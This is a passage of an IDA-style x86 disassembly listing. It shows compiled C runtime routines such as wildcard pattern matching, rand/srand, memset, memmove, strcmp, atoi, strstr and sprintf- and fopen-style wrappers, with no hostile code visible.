XREF: sub_4170B5+72j ; sub_4170B5+7Dj ... xor eax, eax loc_417148: ; CODE XREF: sub_4170B5+8Fj pop esi pop ebp retn sub_4170B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41714B proc near ; CODE XREF: sub_4170B5+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_41716C inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_41716C: ; CODE XREF: sub_41714B+19j push ebx push esi loc_41716E: ; CODE XREF: sub_41714B+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_41717C cmp [ebp+var_4], eax jnz short loc_4171C8 loc_41717C: ; CODE XREF: sub_41714B+2Aj test edi, edi jnz short loc_4171BD cmp bl, 2Dh jnz short loc_4171B1 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_4171B1 cmp al, 5Dh jz short loc_4171B1 cmp [ebp+var_4], edi jnz short loc_4171B1 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4171BD cmp bl, al jg short loc_4171BD push 1 mov [edx], esi pop edi jmp short loc_4171BD ; --------------------------------------------------------------------------- loc_4171B1: ; CODE XREF: sub_41714B+38j ; sub_41714B+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4171BD push 1 pop edi loc_4171BD: ; CODE XREF: sub_41714B+33j ; sub_41714B+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_41716E ; --------------------------------------------------------------------------- loc_4171C8: ; CODE XREF: sub_41714B+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_4171D5 mov ecx, eax sub ecx, edi mov edi, ecx loc_4171D5: ; CODE XREF: sub_41714B+82j cmp edi, eax jnz short loc_4171DE mov eax, [ebp+arg_4] inc dword ptr [eax] loc_4171DE: ; CODE XREF: sub_41714B+8Cj mov eax, edi pop edi leave retn sub_41714B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4171E3 proc near ; CODE XREF: sub_4170B5+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_4171FF: ; CODE XREF: sub_4171E3+3Aj cmp [eax], bl jz short loc_41721F mov cl, [ecx] cmp cl, 3Fh jz short loc_417214 cmp cl, 2Ah jnz short loc_41721F cmp cl, 3Fh jnz short loc_417217 loc_417214: ; CODE XREF: sub_4171E3+25j inc eax mov [edi], eax loc_417217: ; CODE XREF: sub_4171E3+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_4171FF ; --------------------------------------------------------------------------- loc_41721F: ; CODE XREF: sub_4171E3+1Ej ; sub_4171E3+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_41722A inc dword ptr [esi] jmp short loc_41721F ; --------------------------------------------------------------------------- loc_41722A: ; CODE XREF: sub_4171E3+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_41724B mov edx, [esi] cmp [edx], bl jz short loc_41723C xor eax, eax jmp short loc_4172AB ; --------------------------------------------------------------------------- loc_41723C: ; CODE XREF: sub_4171E3+53j cmp cl, bl jnz short loc_41724B mov ecx, [esi] cmp [ecx], bl jnz short loc_41724B push 1 pop eax jmp short loc_4172AB ; --------------------------------------------------------------------------- loc_41724B: ; CODE XREF: sub_4171E3+4Dj ; sub_4171E3+5Bj ... push eax push dword ptr [esi] call sub_4170B5 pop ecx test eax, eax pop ecx jnz short loc_417295 loc_417259: ; CODE XREF: sub_4171E3+B0j inc dword ptr [edi] mov eax, [edi] loc_41725D: ; CODE XREF: sub_4171E3+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_417275 cmp cl, 5Bh jz short loc_417275 cmp dl, bl jz short loc_417275 inc eax mov [edi], eax jmp short loc_41725D ; --------------------------------------------------------------------------- loc_417275: ; CODE XREF: sub_4171E3+82j ; sub_4171E3+87j ... mov eax, [edi] cmp [eax], bl jz short loc_41728C push eax push dword ptr [esi] call sub_4170B5 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_417291 ; --------------------------------------------------------------------------- loc_41728C: ; CODE XREF: sub_4171E3+96j mov [ebp+var_4], ebx xor eax, eax loc_417291: ; CODE XREF: sub_4171E3+A7j cmp eax, ebx jnz short loc_417259 loc_417295: ; CODE XREF: sub_4171E3+74j mov eax, [edi] cmp [eax], bl jnz short loc_4172A8 mov eax, [esi] cmp [eax], bl jnz short loc_4172A8 mov [ebp+var_4], 1 loc_4172A8: ; CODE XREF: sub_4171E3+B6j ; sub_4171E3+BCj mov eax, [ebp+var_4] loc_4172AB: ; CODE XREF: sub_4171E3+57j ; sub_4171E3+66j pop edi pop esi pop ebx leave retn sub_4171E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172B0 proc near ; CODE XREF: sub_401000+64p ; sub_4010B5+308p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4172F0 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4172FD ; --------------------------------------------------------------------------- loc_4172F0: ; CODE XREF: sub_4172B0+36j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_4172FD: ; CODE XREF: sub_4172B0+3Ej mov eax, esi pop esi leave retn sub_4172B0 endp ; =============== S U B R O U T I N E ======================================= sub_417302 proc near ; CODE XREF: sub_401000+2Ep ; sub_401D82+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_433C20, eax retn sub_417302 endp ; =============== S U B R O U T I N E ======================================= sub_41730C proc near ; CODE XREF: sub_4010B5+CBp ; sub_4010B5+13Fp ... mov eax, dword_433C20 imul eax, 343FDh add eax, 269EC3h mov dword_433C20, eax sar eax, 10h and eax, 7FFFh retn sub_41730C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417330 proc near ; CODE XREF: sub_4010B5+281p ; sub_40144A+180p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_417383 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_417377 neg ecx and ecx, 3 jz short loc_417359 sub edx, ecx loc_417353: ; CODE XREF: sub_417330+27j mov [edi], al inc edi dec ecx jnz short loc_417353 loc_417359: ; CODE XREF: sub_417330+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_417377 rep stosd test edx, edx jz short loc_41737D loc_417377: ; CODE XREF: sub_417330+18j ; sub_417330+3Fj ... mov [edi], al inc edi dec edx jnz short loc_417377 loc_41737D: ; CODE XREF: sub_417330+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417383: ; CODE XREF: sub_417330+Aj mov eax, [esp+arg_0] retn sub_417330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417390 proc near ; CODE XREF: sub_4010B5+22Dp ; sub_4010B5+23Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_39 = byte ptr 41h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4173B0 cmp edi, eax jb loc_417528 loc_4173B0: ; CODE XREF: sub_417390+16j test edi, 3 jnz short loc_4173CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- loc_4173CC: ; CODE XREF: sub_417390+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4173E4 and eax, 3 add ecx, eax jmp dword ptr loc_4173EC+4[eax*4] ; --------------------------------------------------------------------------- loc_4173E4: ; CODE XREF: sub_417390+46j jmp dword ptr loc_4174E8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4173EC: ; CODE XREF: sub_417390+31j ; sub_417390+8Ej ... jmp off_41746C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_417400 dd offset loc_41742C dd offset loc_417450 ; --------------------------------------------------------------------------- loc_417400: ; DATA XREF: sub_417390+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41742C: ; DATA XREF: sub_417390+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417450: ; DATA XREF: sub_417390+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41746C dd offset loc_4174CF ; DATA XREF: sub_417390:loc_4173ECr dd offset loc_4174BC dd offset loc_4174B4 dd offset loc_4174AC dd offset loc_4174A4 dd offset loc_41749C dd offset loc_417494 dd offset loc_41748C ; --------------------------------------------------------------------------- loc_41748C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_417494: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41749C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4174A4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4174AC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4174B4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4174BC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4174CF: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390:off_41746Co jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4174D8 dd offset loc_4174E8 ; DATA XREF: sub_417390+35r ; sub_417390+92r ... dd offset loc_4174F0 dd offset loc_4174FC dd offset loc_417510 ; --------------------------------------------------------------------------- loc_4174E8: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4174F0: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4174FC: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_417510: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417528: ; CODE XREF: sub_417390+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41755C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417550: ; CODE XREF: sub_417390+1B1j ; sub_417390+208j ... neg ecx jmp off_417620[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41755C: ; CODE XREF: sub_417390+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_417574 and eax, 3 sub ecx, eax jmp dword ptr loc_417574+4[eax*4] ; --------------------------------------------------------------------------- loc_417574: ; CODE XREF: sub_417390+1D6j ; DATA XREF: sub_417390+1DDr jmp off_417670[ecx*4] ; --------------------------------------------------------------------------- align 4 mov [ebp+arg_39], dh add [eax-2FFFBE8Bh], ch jnz short loc_4175C8 add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_417550 std rep movsd cld loc_4175C8: ; CODE XREF: sub_417390+1F5j jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_417624 dd offset loc_41762C dd offset loc_417634 dd offset loc_41763C dd offset loc_417644 dd offset loc_41764C dd offset loc_417654 off_417620 dd offset loc_417667 ; DATA XREF: sub_417390+1C2r ; --------------------------------------------------------------------------- loc_417624: ; DATA XREF: sub_417390+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41762C: ; DATA XREF: sub_417390+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_417634: ; DATA XREF: sub_417390+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41763C: ; DATA XREF: sub_417390+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_417644: ; DATA XREF: sub_417390+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41764C: ; DATA XREF: sub_417390+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_417654: ; DATA XREF: sub_417390+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_417667: ; CODE XREF: sub_417390+1C2j ; DATA XREF: sub_417390:off_417620o jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h off_417670 dd offset loc_417680 ; DATA XREF: sub_417390+1B7r ; sub_417390:loc_417574r ... dd offset loc_417688 dd offset loc_417698 dd offset loc_4176AC ; --------------------------------------------------------------------------- loc_417680: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417688: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417698: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4176AC: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_417390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4176D0 proc near ; CODE XREF: sub_4010B5+FCp ; sub_4010B5+118p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41771C loc_4176E0: ; CODE XREF: sub_4176D0+3Cj ; sub_4176D0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 shr eax, 10h cmp al, [ecx+2] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+3] jnz short loc_417714 add ecx, 4 add edx, 4 or ah, ah jnz short loc_4176E0 mov edi, edi loc_417710: ; CODE XREF: sub_4176D0+18j ; sub_4176D0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_417714: ; CODE XREF: sub_4176D0+14j ; sub_4176D0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41771C: ; CODE XREF: sub_4176D0+Ej test edx, 1 jz short loc_417738 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_417714 inc ecx or al, al jz short loc_417710 test edx, 2 jz short loc_4176E0 loc_417738: ; CODE XREF: sub_4176D0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 add ecx, 2 jmp short loc_4176E0 sub_4176D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417760 proc near ; CODE XREF: sub_4010B5+19Ep ; sub_401A76+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_417779 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_417779: ; CODE XREF: sub_417760+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_417760 endp ; =============== S U B R O U T I N E ======================================= sub_417794 proc near ; CODE XREF: sub_41781F+4p ; sub_42094E+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41779C: ; CODE XREF: sub_417794+34j cmp dword_433E7C, 1 jle short loc_4177B4 movzx eax, byte ptr [edi] push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4177C3 ; --------------------------------------------------------------------------- loc_4177B4: ; CODE XREF: sub_417794+Fj movzx eax, byte ptr [edi] mov ecx, off_433C70 mov al, [ecx+eax*2] and eax, 8 loc_4177C3: ; CODE XREF: sub_417794+1Ej test eax, eax jz short loc_4177CA inc edi jmp short loc_41779C ; --------------------------------------------------------------------------- loc_4177CA: ; CODE XREF: sub_417794+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_4177DA cmp esi, 2Bh jnz short loc_4177DE loc_4177DA: ; CODE XREF: sub_417794+3Fj movzx esi, byte ptr [edi] inc edi loc_4177DE: ; CODE XREF: sub_417794+44j xor ebx, ebx loc_4177E0: ; CODE XREF: sub_417794+7Bj cmp dword_433E7C, 1 jle short loc_4177F5 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_417800 ; --------------------------------------------------------------------------- loc_4177F5: ; CODE XREF: sub_417794+53j mov eax, off_433C70 mov al, [eax+esi*2] and eax, 4 loc_417800: ; CODE XREF: sub_417794+5Fj test eax, eax jz short loc_417811 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_4177E0 ; --------------------------------------------------------------------------- loc_417811: ; CODE XREF: sub_417794+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41781A neg eax loc_41781A: ; CODE XREF: sub_417794+82j pop edi pop esi pop ebp pop ebx retn sub_417794 endp ; =============== S U B R O U T I N E ======================================= sub_41781F proc near ; CODE XREF: sub_4013EC+12p ; sub_4013EC+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417794 pop ecx retn sub_41781F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41782A proc near ; CODE XREF: sub_40144A+318p ; sub_401D82+460p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_417869 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_417876 ; --------------------------------------------------------------------------- loc_417869: ; CODE XREF: sub_41782A+35j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_417876: ; CODE XREF: sub_41782A+3Dj mov eax, esi pop esi leave retn sub_41782A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417880 proc near ; CODE XREF: sub_401D82+2D8p ; sub_401D82+2F8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_4178FA mov dh, [ecx+1] test dh, dh jz short loc_4178E7 loc_417898: ; CODE XREF: sub_417880+52j ; sub_417880+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_4178BA test al, al jz short loc_4178B4 loc_4178A9: ; CODE XREF: sub_417880+32j mov al, [esi] inc esi loc_4178AC: ; CODE XREF: sub_417880+3Fj cmp al, dl jz short loc_4178BA test al, al jnz short loc_4178A9 loc_4178B4: ; CODE XREF: sub_417880+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_4178BA: ; CODE XREF: sub_417880+23j ; sub_417880+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_4178AC lea edi, [esi-1] loc_4178C4: ; CODE XREF: sub_417880+63j mov ah, [ecx+2] test ah, ah jz short loc_4178F3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_417898 mov al, [ecx+3] test al, al jz short loc_4178F3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_4178C4 jmp short loc_417898 ; --------------------------------------------------------------------------- loc_4178E7: ; CODE XREF: sub_417880+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_418F56 ; --------------------------------------------------------------------------- loc_4178F3: ; CODE XREF: sub_417880+49j ; sub_417880+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_4178FA: ; CODE XREF: sub_417880+Fj mov eax, edi pop esi pop ebx pop edi retn sub_417880 endp ; =============== S U B R O U T I N E ======================================= sub_417900 proc near ; CODE XREF: sub_4022C6+94p ; sub_405A58+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_417915 or eax, 0FFFFFFFFh jmp short loc_41794F ; --------------------------------------------------------------------------- loc_417915: ; CODE XREF: sub_417900+Ej test al, 83h jz short loc_41794D push esi call sub_41A7D0 push esi mov edi, eax call sub_41A76A push dword ptr [esi+10h] call sub_41A6B7 add esp, 0Ch test eax, eax jge short loc_41793B or edi, 0FFFFFFFFh jmp short loc_41794D ; --------------------------------------------------------------------------- loc_41793B: ; CODE XREF: sub_417900+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41794D push eax call sub_417C3B and dword ptr [esi+1Ch], 0 pop ecx loc_41794D: ; CODE XREF: sub_417900+17j ; sub_417900+39j ... mov eax, edi loc_41794F: ; CODE XREF: sub_417900+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_417900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417956 proc near ; CODE XREF: sub_4022C6+8Ep ; sub_40EE72+2B0Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_41A8A2 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_419E38 push [ebp+arg_0] mov edi, eax push esi call sub_41A92F add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_417956 endp ; =============== S U B R O U T I N E ======================================= sub_417988 proc near ; CODE XREF: sub_4179A8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41AADC test eax, eax jnz short loc_417992 retn ; --------------------------------------------------------------------------- loc_417992: ; CODE XREF: sub_417988+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41A96C add esp, 10h retn sub_417988 endp ; =============== S U B R O U T I N E ======================================= sub_4179A8 proc near ; CODE XREF: sub_4022C6+54p ; sub_405A58+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_417988 add esp, 0Ch retn sub_4179A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179C0 proc near ; CODE XREF: sub_405AF2+2BFp ; sub_40A7D7+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_417A31 sub_4179C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179D0 proc near ; CODE XREF: sub_4022C6+32p ; sub_4022C6+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_4179EC loc_4179DD: ; CODE XREF: sub_4179D0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_417A1F test ecx, 3 jnz short loc_4179DD loc_4179EC: ; CODE XREF: sub_4179D0+Bj ; sub_4179D0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4179EC mov eax, [ecx-4] test al, al jz short loc_417A2E test ah, ah jz short loc_417A29 test eax, 0FF0000h jz short loc_417A24 test eax, 0FF000000h jz short loc_417A1F jmp short loc_4179EC ; --------------------------------------------------------------------------- loc_417A1F: ; CODE XREF: sub_4179D0+12j ; sub_4179D0+4Bj lea edi, [ecx-1] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A24: ; CODE XREF: sub_4179D0+44j lea edi, [ecx-2] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A29: ; CODE XREF: sub_4179D0+3Dj lea edi, [ecx-3] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A2E: ; CODE XREF: sub_4179D0+39j lea edi, [ecx-4] loc_417A31: ; CODE XREF: sub_4179C0+5j ; sub_4179D0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_417A56 loc_417A3D: ; CODE XREF: sub_4179D0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_417AA8 mov [edi], dl inc edi test ecx, 3 jnz short loc_417A3D jmp short loc_417A56 ; --------------------------------------------------------------------------- loc_417A51: ; CODE XREF: sub_4179D0+9Ej ; sub_4179D0+B8j mov [edi], edx add edi, 4 loc_417A56: ; CODE XREF: sub_4179D0+6Bj ; sub_4179D0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_417A51 test dl, dl jz short loc_417AA8 test dh, dh jz short loc_417A9F test edx, 0FF0000h jz short loc_417A92 test edx, 0FF000000h jz short loc_417A8A jmp short loc_417A51 ; --------------------------------------------------------------------------- loc_417A8A: ; CODE XREF: sub_4179D0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417A92: ; CODE XREF: sub_4179D0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; 